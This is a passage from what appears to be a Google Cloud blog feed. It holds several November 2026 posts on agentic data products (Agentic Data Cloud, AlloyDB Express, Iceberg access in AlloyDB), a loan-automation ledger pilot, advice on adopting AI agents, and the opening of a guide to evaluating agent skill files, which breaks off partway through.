Cloud Blog

New capabilities to power agents at scale with Google's Agentic Data Cloud

Wed, 04 Nov 2026 14:00:00 +0000

Not long ago, we were entering the agentic era; today, organizations are deriving significant value from running agents in production. The opportunity to capture new revenue streams, improve efficiency, and manage risk makes reimagining operations with agents top of mind for enterprise leaders.

That is why we built the Agentic Data Cloud — a System of Action designed to activate all your data by breaking down walled gardens, deliver high accuracy and trust, and operate proactively at low cost. Leading organizations such as PayPal, Siemens, Telus, Vodafone, Walmart, and more are already achieving business impact with us today.

Today, we’re sharing key updates to Google’s Agentic Data Cloud. We’re empowering your agents everywhere, grounding them in your enterprise context to deliver accurate, trusted answers, and providing elevated agentic-first experiences for both practitioners and business users.

Activate all your data for agents with the borderless Lakehouse

Enterprise data lives everywhere — across multi-cloud environments, on-premises systems, and SaaS platforms like Confluent, SAP, Salesforce, and Workday. The borderless Lakehouse, built on the open Apache Iceberg format, lets you activate all of your data, wherever it lives, so that your agents have one governed foundation. Instead of moving data, stitching together connectors, or paying surprise variable egress fees, you get a stack tuned at every layer, from the infrastructure to the model. In fact, Apache Iceberg data under management has more than tripled over the past year.

Today, we are announcing several new enhancements for the borderless Lakehouse. Gemini now works directly on your borderless Lakehouse allowing business users to use natural language to query records that live across clouds while agents ground their reasoning and drive business workflows. With cross-cloud interconnect and caching for AWS and Azure, now generally available, you can query data across clouds with a private, secure connection and zero variable egress fees. And when you query remote cloud data, Lakehouse automatically caches retrieved data blocks locally within Google Cloud. Additionally, customers can use the open Iceberg catalog federation with Databricks Unity, Snowflake Horizon, and AWS Glue as well as zero-copy integrations with SAP, Workday, and Salesforce.

To deliver context for AI, the borderless Lakehouse integrates directly with Knowledge Catalog, to automatically index your distributed and unstructured data, in cloud storage, giving agents the right context to be accurate, while controlling token costs for an intelligent and sustainable agentic strategy.

"By implementing the borderless Lakehouse that federates single-copy Apache Iceberg data from Amazon S3 tables to BigQuery, Delivery Hero's talabat reduced data-movement costs by approximately 40% while making streaming transactional events queryable across both clouds within minutes of production." - Harish Ramesh, Staff Data Engineer, Delivery Hero talabat

To take action in the moment, agents need simultaneous access to both your historical analytical data, and real-time transactional data. That’s why today we're announcing new AlloyDB integrations with the borderless Lakehouse. With direct Iceberg access in AlloyDB, you can now directly query Iceberg tables stored in cloud storage, without any ETL pipelines or copies, and join live operational data with historical lakehouse data in a single PostgreSQL query. By combining AlloyDB's transactional capabilities with direct Iceberg table access, systems can efficiently bridge transactional and analytical data to meet rigorous demands from agents. It is fully integrated with the Lakehouse runtime catalog, allowing you to register Iceberg tables in AlloyDB alongside the rest of your tables. Everything automatically shows up in Knowledge Catalog — so your agents get the same governed context. AlloyDB direct Iceberg access is up to 7x faster on aggregation queries than Amazon’s comparable PostgreSQL-compatible service.

And completing this borderless strategy, Spanner Omni, which is generally available, brings Google-grade consistency, scale, and multi-model capabilities to hybrid agentic applications across on premises, edge nodes, and multi-cloud environments.

Deliver accurate, trusted answers by grounding every agent in enterprise context

Agents are only as accurate as the business context they are grounded in. Knowledge Catalog is Google Cloud’s universal context engine that turns raw data into shared business context for agents to answer and act with higher accuracy, trust, and token efficiency. Today, we’re taking Knowledge Catalog to the next level by extending our AI-driven context curation capabilities with self-learning, reusable context sets, and a reimagined user experience so your context layer is built and evolved automatically with your business while keeping humans in full control of their data governance. Based on our internal benchmarks, Knowledge Catalog makes AI agents nearly 4x more accurate, with up to 33% lower latency, and using up to 75% fewer tokens.

Much of an enterprise’s institutional knowledge lives outside their databases in operational playbooks, documents, and tickets, and context for agents must be curated around the questions people actually ask. With the new self-learning enrichment in Knowledge Catalog, available in preview, agents take on the heavy lifting of context curation. Knowledge Catalog learns from user intent and every human and agent interaction by continuously mining unstructured sources like Google Workspace, GitHub, Jira, Confluence, and SharePoint to close context gaps and evolve context automatically. It also packages domain knowledge into reusable Open Knowledge Format (OKF) context sets, allowing context engineers and data stewards to govern this enriched context effortlessly. For data stewards and data teams, we also introduced, a new studio experience in Knowledge Catalog, in preview, which provides a conversational user interface where you can explore context in natural language, visualize your entire data estate across cloud environments and SaaS applications, and review, audit, and approve proposed enrichment updates with full versioning and rollback.

New studio experience in Knowledge Catalog showcasing conversational context exploration and an interactive graph

Additionally, we announced that Knowledge Catalog is now on by default in Gemini, in preview. Every data question is now grounded in a governed business context automatically. When you connect BigQuery, AlloyDB, Cloud SQL, or Spanner, Knowledge Catalog resolves business terms, locates trusted tables, and determines join paths before generating SQL — under each user’s own access permissions. This gives organizations the confidence to deploy agents at enterprise scale because your agents draw from shared, registered context sets for consistent accuracy, lower latency, and reduced token costs.

Finally, because critical business definitions cannot be left to an LLM’s guesswork, Knowledge Catalog grounds agents in trusted semantic models, now generally available, from BigQuery, Looker (LookML), Databricks, Snowflake, dbt, and SAP, without moving data. Whether an agent is calculating net revenue for finance or customer churn for operations, it applies the exact same governed formulas your business teams rely on. Knowledge Catalog also extends metadata discovery and federation to Oracle AI Database@Google Cloud, Snowflake, Databricks Unity Catalog, and third-party catalogs like Atlan and Collibra — building on the catalog investments you’ve already made so your entire data estate is universally understood by every agent.

Transforming practitioner experiences with agents

We are reimagining how data professionals and business teams work — elevating practitioners from individual contributors supported by co-assistants, into orchestrators of autonomous agents that drive intent-driven business outcomes.

For both technical teams and everyday business users, we introduced two new purpose-built capabilities in Gemini, at the recent Gemini at Work event. For Data and ML engineers, we are extending Gemini with machine learning skills and tools that back every data scientist and data engineer with a team of agents. Engineers describe the outcome they want in plain language, and Gemini generates PySpark code, provides notebooks to edit and test it, trains models, and troubleshoots and fixes pipeline issues on its own. And for business users, anyone in your organization can generate reliable, real-time operational reports simply by asking. Gemini uses operational reporting skills integrated with BigQuery and the Knowledge Catalog to construct and save the query. Once saved, teams can run reports on demand without incurring token costs, guaranteeing consistent, verified answers every time.

Now, for developers who'd rather stay in their own tools, we recently announced the general availability of the Data Agent Kit. It eliminates console hopping and ETL boilerplate by integrating Google Data Cloud tools directly into your developers' preferred IDEs and CLIs — like VS Code, Claude Code, and Antigravity. Armed with native MCP tooling, practitioners define business intent and let agents generate, tune, and test data pipelines.

Engineering a data infrastructure built for agent scale

As organizations scale to millions of agents collaborating across workflows, traditional database architectures break down. We’re introducing tailored infrastructure engineered specifically for agent scale.

To accelerate rapid testing and prototyping, today we’re announcing AlloyDB Express, in preview. This is a new edition of AlloyDB designed for builders and coding agents who need extreme development velocity. It offers sub-2-second instant provisioning, scale-to-zero pause and resume, secure private IP connectivity, integrated observability, and a small footprint with 1–2 vCPUs and 20GB of storage. AlloyDB now provides a developer-first, PostgreSQL environment for agent development and testing.

For production environments, we recently announced PostgreSQL for agents in AlloyDB, in preview, which enables thousands of collaborating AI agents to query live transactional data with complete workload isolation. With the agentic database architecture, agents achieve sub-millisecond I/O, and terabit-per-second aggregated scan throughput, supporting over 3 million queries per second. Compute scales automatically based on active reasoning sessions and scales back to zero when idle without affecting production systems.

For running open-source data infrastructure, Managed Service for Apache Spark extends its price-performance advantage compared to market alternatives by over 3x through further improvements to Lightning Engine. Recent enhancements for Spark 4.0 include faster startup at no additional cost, beneficial for interactive workloads and small batch ETL jobs. In addition, the premium tier provides performance boosts by pairing upgraded hardware with software acceleration from the Lightning Engine, and this is on by default.

Finally, we’ve continued to enhance BigQuery for agent scale. In the past year alone, we've made queries over 40% faster while cutting query processing cost by more than 50% through intelligent optimizations like fluid scaling and built-in workload acceleration. BigQuery Graph is now generally available, bringing petabyte-scale graph analytics directly on relational tables with zero ETL. It allows organizations to model data as nodes and edges to uncover complex, hidden relationships without moving data into a separate graph database. And today, two new models from Google Research run natively in BigQuery. The first is TimesFM 3.0, now in preview, which lets you generate forecasts directly in SQL with no custom models to train or manage and TabFM, also now in preview, which brings predictive machine learning directly into BigQuery.

Get started today

In addition to these announcements, we continue to enhance core performance, cost management, and operational resilience across our broader data ecosystem.

Ready to transform your data estate into an active System of Action? Explore our Agentic Data Cloud page, sign up for a Data Strategy Workshop and start building your agentic enterprise, at no cost, with Google Cloud.

You can also head over to our Trusted Agents, Real Outcomes digital event to catch our Agentic Data Cloud vision and the latest innovations. See the portfolio in action, learn from Yahoo’s real-world blueprint, and unpack deep-dive sessions with product leaders across Databases, Data Analytics, and BI.

AlloyDB Express: Instant, scale-to-zero PostgreSQL for developers and coding agents

Wed, 04 Nov 2026 14:00:00 +0000

Databases have struggled to keep up with the speed of AI-enabled software development. Across the engineering and platform teams we talk to, we see coding agents stalled by slow database provisioning, CI/CD test pipelines bottlenecked by complexity, and internal apps hitting a wall as they transition from sandbox to production. Until now, no PostgreSQL service in the market has combined agent-ready capabilities with uncompromised enterprise security and scale.

To solve this, we are excited to announce the preview of AlloyDB Express, a new offering of AlloyDB for PostgreSQL designed specifically for developers and AI coding agents. Capable of spinning up in seconds and automatically pausing when idle, it helps bridge the gap between rapid, AI-driven development and robust enterprise infrastructure.The result is a highly secure, cost-effective database environment that accelerates how you build applications and can easily grow to production scale. Get started with the free tier and pay only for what you use.

AlloyDB Express is an agent-ready database that gives you:

Database creation in under two seconds: Create a ready-to-use PostgreSQL database in under two seconds using gcloud CLI, REST API, MCP, Terraform or Console.
Scale-to-zero: Your database automatically pauses after 15 minutes of inactivity so you do not incur costs for compute while it is idle. When a new query arrives, it wakes up automatically in seconds.
Enterprise-ready with built-in AI and security: Access enterprise AI capabilities including vector, text, and hybrid search to quickly build AI applications, all protected by built-in enterprise security guardrails.
Start for free and pay only for what you use: Get started with our free monthly allowance and as you scale, pay only for what you use.
One-click upgrade to production scale: When your app is ready for production, upgrade your existing database to AlloyDB in one click—keeping data, schemas, users, and connection strings intact while gaining enterprise high availability (HA), read replicas, and disaster recovery (DR).

Accelerate development without compromising security

AlloyDB Express combines self-service speed with built-in enterprise security. For app builders and coding agents this means you can instantly provision fully isolated PostgreSQL databases without manual setup, allowing every test and prototype to run in its own dedicated database. And for platform and security administrators you define IAM, network, and organization policies centrally once, and every AlloyDB Express database created by a developer or coding agent automatically stays within your company's security guardrails.

Whether code is written by developers or AI agents, security remains enforced through built-in protection mechanisms which:

Minimize exposure with safe default connections: Keep your data hidden from the public internet using public DNS endpoints that mask IP addresses and block incoming traffic until explicitly allowed.
Secure internal integrations via private VPC networking: Safely connect your internal workloads using Private Service Connect (PSC) or private DNS.
Enforce least privilege with granular access controls: Confidently restrict agent and user permissions utilizing Google Cloud IAM, VPC Service Controls, and native PostgreSQL roles.

AlloyDB Express brings built-in AI capabilities

Unlike databases that rely on external vector stores or complex setups, AlloyDB Express embeds enterprise AI tools directly into your database, so you can focus on building features. You can accelerate your AI application development, with tools like:

Fast vector search (pgvector HNSW and Google’s ScaNN index): Store and search vector embeddings alongside your operational data for semantic search, recommendation engines, and agent memory (RAG) — without syncing data to a separate vector database.
Direct access to Gemini models within SQL queries: Generate text or image embeddings on the fly and run semantic filtering, ranking, and summarization (ai.if, ai.rank, ai.generate) directly inside standard SELECT and INSERT statements.
Natural language-to-SQL generation: Let developers and AI agents ask questions in plain English to generate, run, and refine queries in seconds using built-in AlloyDB Studio and natural language APIs.

Start with the free tier and pay only for what you use

AlloyDB Express offers simple intuitive pricing and scales to zero when inactive. Data stays safe, and the database wakes up instantly when a new query arrives.Here is a short summary of our pricing:

Active compute: $0.115 per Compute Unit hour (CU-hr), billed by the second.
Paused compute: $0.00 per hour when idle for more than 15 mins.
Used storage: $0.30 per GB-month, billed only for the disk space your data actually uses.

In addition, Google Cloud offers a free tier, making it easier to get started with 50 free CUs every month. For more details see the AlloyDB Express pricing.

Get started today

AlloyDB Express is available today in preview. Try it in the Google Cloud console or read the AlloyDB Express documentation page for more details on how to get started.

Unify operational and Lakehouse data with direct Iceberg access in AlloyDB for PostgreSQL

Wed, 04 Nov 2026 14:00:00 +0000

To make good business decisions, you need two kinds of data: the live state of the business from operational databases, and the historical context stored in an analytical system such as a lakehouse or a data warehouse. Traditionally, those systems have been separate, but they are now converging rapidly. That’s why today, we're announcing direct Iceberg access in AlloyDB for PostgreSQL, in preview. Now, developers can query Apache Iceberg tables stored in a cloud storage bucket directly from AlloyDB and join them with live operational data, all in a single SQL query.

In addition, we’re announcing the general availability of AlloyDB sync and Lakehouse federation. Together, they give AlloyDB three ways to work with the borderless Lakehouse, which keeps one open copy of your data available to any engine. Etsy, for example, unified three petabytes with the borderless Lakehouse, joining data in place to accelerate pipeline queries by 60%. With AlloyDB, which approach to use depends on where the data lives and how your application reads it:

Direct Iceberg access: Read Iceberg tables in place, accelerated by the AlloyDB columnar engine.
AlloyDB sync: Serve lakehouse data from AlloyDB for your most latency-sensitive workloads, refreshed on a schedule you set.
Lakehouse federation: Query native BigQuery tables in place, with BigQuery doing the processing.

With this launch, apps and agents can act on operational and lakehouse data together without building or managing custom pipelines.

AlloyDB and the borderless Lakehouse: Query Apache Iceberg and BigQuery data in place or sync it to AlloyDB, giving real-time applications and AI agents governed access to operational and lakehouse data together.

Decisions at the moment of action

With these integrations between AlloyDB and the borderless Lakehouse, historical context sits next to live transactions, so decisions can happen at the moment of action, without building or managing custom pipelines. For example:

Fraud and risk: Before approving a payment, a fraud agent checks it against five years of customer transaction history in Iceberg, in addition to the last 30 days in the database.
Personalization: A shopping agent joins the live cart with lifetime value and return history in the lakehouse to choose the right offer while the shopper is still on the page.
Dynamic pricing: A pricing agent combines live inventory in AlloyDB with years of demand and weather history in the lakehouse to adjust prices as conditions change.
Data products: A data team publishes curated tables once to Iceberg, and then dozens of applications read them in place instead of each maintaining its own copy.

In each case, the history stays in the lakehouse and the decision happens in the database. Agents act on your behalf using only the tables and permissions you grant them in AlloyDB.

Let’s take a deeper look at each of the three integrations.

Direct Iceberg access in AlloyDB (Preview)

With direct Iceberg access, AlloyDB reads Apache Iceberg tables directly from Cloud Storage, using either a bucket path or the Lakehouse runtime catalog. You register an Iceberg table once and query it like any other PostgreSQL table, including joins with live operational tables.

code_block: <ListValue: [StructValue([('code', "-- Register five years of transaction history stored as Iceberg\r\nCREATE TABLE transaction_history (\r\n customer_id BIGINT, category TEXT, amount NUMERIC, ts TIMESTAMPTZ)\r\nUSING iceberg\r\nWITH (uri = 'gs://my-bucket/warehouse/payments/transaction_history');\r\n\r\n\r\n-- Compare the payment in flight with the customer's history\r\nSELECT t.amount,\r\n AVG(h.amount) AS usual_spend,\r\n MAX(h.amount) AS largest_past_purchase\r\nFROM recent_transactions t -- live, in AlloyDB\r\nJOIN transaction_history h -- five years, in Iceberg\r\n ON h.customer_id = t.customer_id AND h.category = t.category\r\nWHERE t.transaction_id = 'TX-1001'\r\nGROUP BY t.amount;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba9d5f1110>)])]>

AlloyDB reads Iceberg tables in place and joins them with live operational data, using the same copy as the rest of your lakehouse.

Iceberg support is built into AlloyDB and is accelerated by the AlloyDB columnar engine, so queries over lakehouse data are fast. They run on the same database instance as your application, without a separate reader instance to manage, and they read the latest data your team has published to the lakehouse.

In our testing on a 1 TB dataset in Cloud Storage, AlloyDB direct Iceberg access is up to 7x faster on aggregation queries than Amazon's comparable PostgreSQL-compatible service, and up to 3.5x faster on aggregation queries than the open-source PostgreSQL extension.

AlloyDB sync for the lowest-latency reads (GA)

Not every table needs to be read in place. A retail merchant risk score, for example, is checked before every payment but only changes when the data team recomputes it overnight. Data like this, read on every request and refreshed on a schedule, is fastest as a local table in AlloyDB. The challenge is keeping that copy fresh without building and maintaining a pipeline.

AlloyDB sync copies lakehouse data from BigQuery into AlloyDB, once or on a schedule, and keeps it refreshed. The copy is a local AlloyDB table, so your app reads it as fast as any other table, and you can index it, serve it from read pools, or use it with the columnar engine and vector search. You can start a sync with one click from the BigQuery console or from SQL:

code_block: <ListValue: [StructValue([('code', "-- Keep merchant risk scores refreshed every hour\r\nSELECT alloydb_sync.create_bq_sync_table(\r\n 'my-project.risk.merchant_risk_scores',\r\n 'merchant_risk_scores',\r\n INTERVAL '1 hour');"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba9c35f590>)])]>

Lakehouse federation (GA)

For organizations with years of analytical history already in BigQuery, Lakehouse federation lets AlloyDB query native BigQuery tables in place and join them with live operational data in a single query. AlloyDB pushes filters, aggregations, and limits down to BigQuery, which does most of the processing and sends back only the results. You can also set which project is billed for these queries and restrict which roles can use them.

Google Cloud customers like Loyal Guru are already pairing AlloyDB and BigQuery in this way.

"AlloyDB, along with other Google Cloud products like BigQuery, provides the agility and performance needed to continually enhance our platform's capabilities and help us anticipate emerging trends rather than merely reacting." - Javi Fernández, Co-founder & CTO, Loyal Guru

Choose the right approach and get started

The convergence of operational and analytical systems is underway; how you choose to approach it in a Google Cloud environment depends on your use case:

Direct Iceberg access: Best for historical data in Iceberg that your app joins with live data, accelerated by the AlloyDB columnar engine.

Try it: Enable direct Iceberg access on a PostgreSQL 18 instance and follow: Access Iceberg data from AlloyDB.

AlloyDB sync: Best for tables your app reads constantly and needs at the lowest latency. The copy is as fresh as its last refresh.

Build: Pick a table in BigQuery and choose to sync to AlloyDB using the Google Cloud console or psql.

Lakehouse federation: Best for history that lives in native BigQuery tables, processed by BigQuery.

Start: Follow Configure AlloyDB access to real-time data in BigQuery.

Read Choose how to access BigQuery data from AlloyDB to learn more.

How Nammu21 automates syndicated loans on Google Cloud Universal Ledger

Tue, 03 Nov 2026 18:00:00 +0000

The syndicated loan and private credit markets, both critical components of corporate finance, have long been constrained by manual processes, leading to multi-week settlements, valuation opacity, and trade friction.

To solve these long-standing challenges, fintech innovator Nammu21 partnered with Google Cloud on a new proof-of-concept. Using its AI-powered platform to structure legal agreements and instantiate them as smart contracts on the Google Cloud Universal Ledger (GCUL), Nammu21 automates the entire loan lifecycle, paving the way for improved settlement times and greater market efficiency.

Digitizing the loan market

While loan markets provide billions in capital to businesses worldwide, their underlying infrastructure has not kept pace with the speed of digital finance. This landscape requires continuous coordination across facility agents, borrowers, and diverse lender syndicates, while also managing highly customized credit agreements with dynamic tranches and complex covenants.

In particular, relying on fragmented, manual interpretation of legal text often results in significant operational drag and data silos. According to the Loan Market Association, secondary market settlement times for par/near par loans in Q4 2024 still averaged 42 days, with a median of 27 days. These notoriously slow timelines tie up capital, increase counterparty risk, and create a heavy reconciliation burden for participants.

Nammu21 transforms bespoke credit documents into programmable assets at scale by rendering each facility's governing terms as a Digital Credit Instrument (DCI). The DCI maps every term — including conditions, consents, eligibility criteria, and operational mechanics that determine what is permitted under a facility — directly back to its originating legal provision. These elements are then expressed as executable behaviours against a loan's live state.

To instantiate these instruments, the proof-of-concept utilizes the secure, high-performance execution environment of GCUL, an institutional-grade, permissioned distributed ledger that helps automate complex financial workflows to deliver near-instant transaction finality and predictable costs without the volatility or security concerns of public blockchains.

A purpose-built stack for digital credit

Combined with Nammu21’s data intelligence, GCUL provides the foundational infrastructure for converting legal document logic into live, programmable contracts. Designed to handle the privacy, scale, and multi-party coordination required by institutional finance, GCUL provides a permissioned, high-performance distributed ledger that delivers deterministic, instant transaction finality for high-value financial settlements.

Programmable contracts on GCUL are written in gculpy, GCUL's domain-optimized programming language. As a strict, statically-typed subset of Python, gculpy is designed to be safe, readable, and auditable, making it ideal for processing complex financial logic.

For regulated financial institutions, gculpy offers distinct operational advantages over other ledger programming models. The language simplifies development by removing the need for complex memory management or workarounds to meet highly restrictive call stack limits, allowing engineers to focus on the financial logic itself.

GCUL also provides robust, built-in permissioning, requiring explicit user authorization before a contract can store data on their behalf. This solves the "unsolicited asset" problem — common on public networks — where unwanted tokens can be sent to an organization's wallet, creating compliance and accounting issues. With GCUL, institutions can maintain full control over which assets they interact with to support their high-value, highly regulated use cases.

Nammu21 serves a dual role in this architecture. First, the platform renders the DCI programmatically from the original legal agreement without manual document reading to establish the terms. Next, it derives gculpy contracts that define the structure of the obligation and govern the loan on GCUL, using the DCI to supply the terms that determine what the loan documents permit, require and block.

Technical architecture: The loan lifecycle on GCUL

Nammu21’s loan implementation on GCUL demonstrates the value of creating a single, immutable source of truth. The proof-of-concept modeled a $1.945 billion Term Loan B — one segment of a broader multi-facility transaction — where the agent bank, borrower, transferor, and transferee all worked off a permissioned view of the same on-ledger rendering.

The lifecycle begins when an agent bank selects a specific credit agreement transformed by Nammu21. The platform instantly provides the structured terms from the document, which are used to instantiate a unique gculpy contract on GCUL, establishing a verifiable, on-ledger digital twin of that specific loan facility.

Next, the agent bank initiates the onboarding of the borrower and lenders. This multilateral action requires that each participant review the request and then provide explicit consent by approving the onboarding invitation from their own interface. Once all parties are onboarded, the agent bank records an immutable hash of the loan's key terms on-ledger, attesting that the on-ledger data matches the canonical off-ledger records.

Subsequent lifecycle events, such as secondary market transfers or repayments, are also managed as multi-step, automated workflows governed by a consent-driven model. For example, a transfer of a loan position requires new lender, borrower, and agent bank consent before it can be executed atomically on the ledger. All payment flows, from interest payments to loan close-outs, settle directly on GCUL using tokenized commercial bank money, eliminating the need for external payment rails.

Transacting with familiar, regulated money on a programmable ledger provides an architecture purpose-built for institutional finance, grounded in three core pillars:

1. Compliance via gated execution: Nammu21’s gculpy contracts instantiated with governing terms, validate every action against the terms transformed from the agreement before execution, mitigating potential covenant breaches or invalid transfers upfront while eliminating the risk of silent failures.

2. Role-based privacy: GCUL enforces strict, role-based access, ensuring that trading strategies, positions, and sensitive loan data remain confidential and are visible only to the necessary counterparties in a transaction.

3. Settlement finality: Every on-ledger action completes near-instantly and anchors on canonical data derived from the original credit agreement, replacing provisional, reconciliation-heavy models with real-time, trusted verification.

The business impact of moving on-ledger

This proof-of-concept illustrates a structural shift in how credit markets can operate. When each facility's governing terms are rendered as a DCI and executed on GCUL, the operational mechanics of lending markets change fundamentally, rather than incrementally.

Values can be reconciled bilaterally, but governance logic cannot – and the market’s current friction stems directly from each party's independent interpretation of the rules. Resolving this issue on-ledger is what enables settlement times to compress, back-office overhead to shrink, and counterparty risk to be mitigated by design rather than by manual checking.

This same architecture can be applied wherever credit terms are bespoke and manually interpreted. By freeing up capital that would otherwise be trapped in lengthy settlement cycles, new liquidity is unlocked and a more dynamic and efficient secondary loan market can emerge.

^{The team would also like to thank Someera Khokhar, Jordan Shelley, and Saskia A. Aalders at Nammu21 and Googlers Ishan Singh, Kathryn Stavish, Tom Chudy, and Stathis Onasoglou for their contributions.}

Leading in the agentic era: How to put people first as you adopt AI agents

Tue, 03 Nov 2026 17:00:00 +0000

Over the past few years, our Google Cloud Consulting team has partnered with many companies to introduce AI into their daily operations.

In that time, we’ve seen the focus shift from generative AI that answers questions to agentic systems that fully carry out the work. These agents can create multi-step plans and manage a project from start to finish.

While budget, compute, and tooling can help launch an agent program, enterprise adoption takes intentional culture work. People need to feel empowered enough to experiment with agents, and leaders need to show teams what agents mean for their roles.

Based on our work across these organizations, we’ve put together five practical lessons for guiding enterprises through an agentic shift.

1. Make workflows agent-executed, human-directed

Most enterprise workflows run like a relay race: one person completes a task, checks it, and hands it off to the next person, who then does the same. Layering an AI agent onto that model gives you a faster runner for one leg, but the handoffs may stall or slow down other work.

Redesigning your workflows can remove blockers like these in a few ways:

Strategic direction: Move from human-in-the-loop validation (where a person checks each step) to a human-in-the-lead model. Agents take on the work, and people set the direction and own the outcomes.
Parallel dependencies: One agent can handle every dependency at once instead of passing work through a multi-person queue. For example, an agent can check product availability, credit limits, and contract paperwork at the same time without waiting on each step to finish.
Manage by exception: Once the process is set up this way, the agent absorbs routine deterministic transactions, routing only ambiguous or high-judgment scenarios to human review. Cross-team stalls disappear, and your team stays in control.

2. Turn hesitation into ownership

In our experience, the biggest barrier to adoption is trust. Many employees worry about their value if an agent handles most of their day-to-day tasks. Others are concerned with who takes the blame if an agent makes a mistake. We encourage teams to treat agents the way they'd treat a junior team member:

Active delegation: Frame agents as digital coworkers. That means assigning tasks to them, defining their scope, and checking their work for accuracy.
Clear responsibilities: Set boundaries around which decisions an agent can make and which require human sign-off. When team members know exactly where accountability sits, they can better direct agents.
Comfort through exposure: Confidence grows through familiarity. We recommend starting with low-stakes use cases (like scheduling internal meetings) to help motivate teams before moving to high-stakes operations (such as financial forecasting).

3. Manage hybrid teams of people and agents

Next, it’s important to support collaboration when you bring agents into your team. Let’s look at how this might work in practice,

Focus on results: Collaborate across teams to break down workflows at both the tool and task level. Cross-functional perspectives reveal an end-to-end view of the process, helping you pinpoint where agentic capabilities belong and how to prioritize ideas by technical feasibility and business impact.
Reinforce behaviors: Top performers on a hybrid team are the people who guide their agents well. Reward team members for auditing an agent's reasoning and catching when its logic drifts from company goals.
Coach your teams: Show your teams how to work with agents so people can spend more time on creative work and decision-making.

4. Build agentic literacy through experimentation

Your teams need to understand how agents solve problems. People who know where an agent's logic breaks down (and why) can guide and judge its output.

Beyond the tool: Literacy covers both writing a good prompt and auditing the result. Agents choose the most likely path instead of following deterministic rules, so people need to know when to trust an agent's output and when to check it.
Safe learning zones: Give business roles the same sandbox access that technical teams get to build agentic literacy across the whole organization.
Celebrating intelligent failure: Experimentation is how teams learn. In our experience, we’ve seen that when teams build an agent that fails because the data wasn't accurate, that team then understands how important data readiness is. Even if it didn’t work out, this should still be encouraged so your teams keep experimenting.

5. Govern agents with a hub-and-spoke model

To roll agents out across an enterprise, you need central guardrails that don't slow down the teams closest to the work. A hub-and-spoke model does both: it gives teams a shared foundation to build on and room to move at their own pace.

The hub: Establish a central AI council team that sets guidelines, maintains ethical guardrails, and manages a library of approved tools. That way, teams don't rebuild the same things.
The spokes: Allow individual teams to adapt those tools to their own needs, experiment quickly, and give feedback on what works in practice.

Within Google Cloud Consulting, we use our internal Agent Catalog to share low-code agents and skills that drive cross-team learning, innovation, and efficiency. However, you don’t need to build a custom platform to implement this. Here are a few approaches:

Filter and sort agents made by employees through a simple internal web app.
Publish and share agents with built-in Gemini Enterprise features like Agent Gallery.
Work directly with technical teams that help organizations create tailored solutions.

Lead with a people-first approach to AI

Becoming an agentic organization is about your people. Give your teams systems and guardrails to move fast, room to experiment, and leadership that promotes accountability.

Ultimately, the overarching goal is to build an organization where human ingenuity and agents support and amplify one another.

Get started

Explore free courses on Google Skills: Build in-demand AI expertise at your own pace and guide your teams through the agentic journey.
Join a Build with Gemini workshop: Sign up today to discover hands-on strategies for creating agentic literacy and empowering your teams to lead with AI.

Five rules for evaluating agent skills before they bloat your context window

Tue, 03 Nov 2026 08:00:00 +0000

You’re probably hearing more about SKILL.md files, and you’ll see that a lot of people test them the same way: paste a prompt into chat, watch it pass once on a laptop, and merge to main. But when you paste three pages of CLI docs into a markdown file without an evaluation loop, you are just as likely to confuse a frontier model as you are to help it.

For the past weeks, we have been diligently measuring and optimizing our own Google Cloud Developer Plugin, with the most essential skills and the Developer Knowledge MCP server to ground responses in the documentation.

We ran dozens of scenarios with Gemini, Antigravity, and other agents. We used Claude Sonnet 5 on Gemini platform inside isolated Harbor pods on GKE Autopilot. And, we contributed Kubernetes and Gemini platform capabilities upstream to NVIDIA's open-source evaluator.

Here's the five-rule engineering playbook we use to verify a skill is worth its tokens.

1. Gate trigger collisions and security risks before spinning up containers

When an evaluation run shows zero improvement between your plugin arm and your baseline arm (Δ = 0), the natural urge is to rewrite the body of your SKILL.md instructions. Hold off on that. Nine times out of ten, the agent never loaded your skill in the first place.

Coding agents do not read full SKILL.md bodies at turn zero. The router only inspects the short name and description in your YAML frontmatter. Once a workspace grows past a dozen skills, two failure modes collide: under-triggering (your description describes internal implementation rather than developer intent) and sibling hijacking (a broad phrase like "helps with cloud deployments" in a neighboring skill intercepts the prompt first).

We recently open-sourced skill-reach so you can catch frontmatter collisions before spending on container sandboxes. It validates manifests, computes vocabulary overlap against nearest rival skills, and runs empirical routing probes across Claude Code, Google Antigravity, and OpenAI Codex:

code_block: <ListValue: [StructValue([('code', 'uv tool install skill-reach\r\n\r\n# 1. Validate YAML frontmatter & token budgets (zero API calls)\r\nreach lint ./skills\r\n\r\n# 2. Detect vocabulary collisions & nearest rival skills (e.g. 0.69 overlap)\r\nreach overlap ./skills\r\n\r\n# 3. Run cross-harness routing probes and auto-tune weak descriptions\r\nreach eval ./skills/cloud-run --runs 3\r\nreach optimize ./skills/cloud-run --apply'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba9d2dda10>)])]>

Pair skill-reach with NVIDIA's SkillSpector (Tier 1 and Tier 2 of SkillEvaluator). As the Nemotron Labs team details in their Evaluating Agent Skills deep dive, standard code linters miss agent-native risks buried in markdown prose: prompt injection, silent data exfiltration, tool poisoning, and trigger abuse.

2. Never trust an eval that runs on a developer laptop

If you run skill benchmarks directly on your workstation, your numbers are lying to you. A developer laptop is packed with ambient state that contaminates the baseline arm:

Cached Google Cloud credentials
Exported project variables and warm bash history
Global environment rules

An unassisted baseline agent can pass a cloud deployment test by inheriting a default project ID or token sitting in your local shell profile, masking the exact failure your skill was written to solve.

Host resource contention also warps agent trajectories. While hill climbing code-retrieval agents with AlphaEvolve, our internal testing showed that running the exact same agent benchmark while a workstation was under CPU load dropped the score. Slower file scans and subprocess timeouts cause the agent to abandon search paths prematurely.

3. Measure paired WITH vs. W/OUT ablation (Pass@3), not vibes

Running prompts a single time and screenshotting the green checkmarks is not a real evaluation. Multi-turn tool-using agents branch on every shell exit code and stdout snippet. In our retrieval study, more than a third of benchmark tasks produced different scores across consecutive runs of the exact same code and prompt.

A perfect score is equally meaningless without a paired baseline for comparison. Both Claude's plugin eval tool and NVIDIA's SkillEvaluator run paired ablation across multiple repetitions: Arm A runs the base model in a clean sandbox without the skill, while Arm B runs the identical prompt and sandbox with the skill mounted.

Comparing the score improvements across our sandbox trials exposed three clear patterns that single-shot testing hides. Without the plugin, the base model still stumbled into a working deployment on most runs, but only after burning minutes of wall-clock time guessing deprecated flags and retrying bad requests. Conversely, when a test case shows identical success with zero efficiency gain, the base model already owns that capability natively. Your skill is pure context tax — delete it.

